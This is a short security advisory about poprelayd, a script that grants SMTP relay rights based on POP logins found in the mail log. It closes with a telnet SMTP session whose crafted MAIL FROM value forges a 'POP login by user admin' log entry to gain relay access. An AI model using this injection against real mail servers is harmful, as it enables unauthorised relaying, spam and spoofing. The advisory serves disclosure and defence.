source: https://www.securityfocus.com/bid/2986/info

poprelayd is a script that parses /var/log/maillog for valid pop logins, and based upon the login of a client, allows the person logged into the pop3 service to also send email from the ip address they're accessing the system with.

poprelayd doesn't authenticate output to the /var/log/maillog file. This makes it possible for a user to create an arbitrary string via sendmail that will be logged to the file, thus allowing a remote user to relay mail through the SMTP server. 

telnet dumbcobalt 25
Trying 123.123.123.123...
Connected to dumbcobalt
...
ehlo dumbcobalt
...
mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"
553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"...Domain name required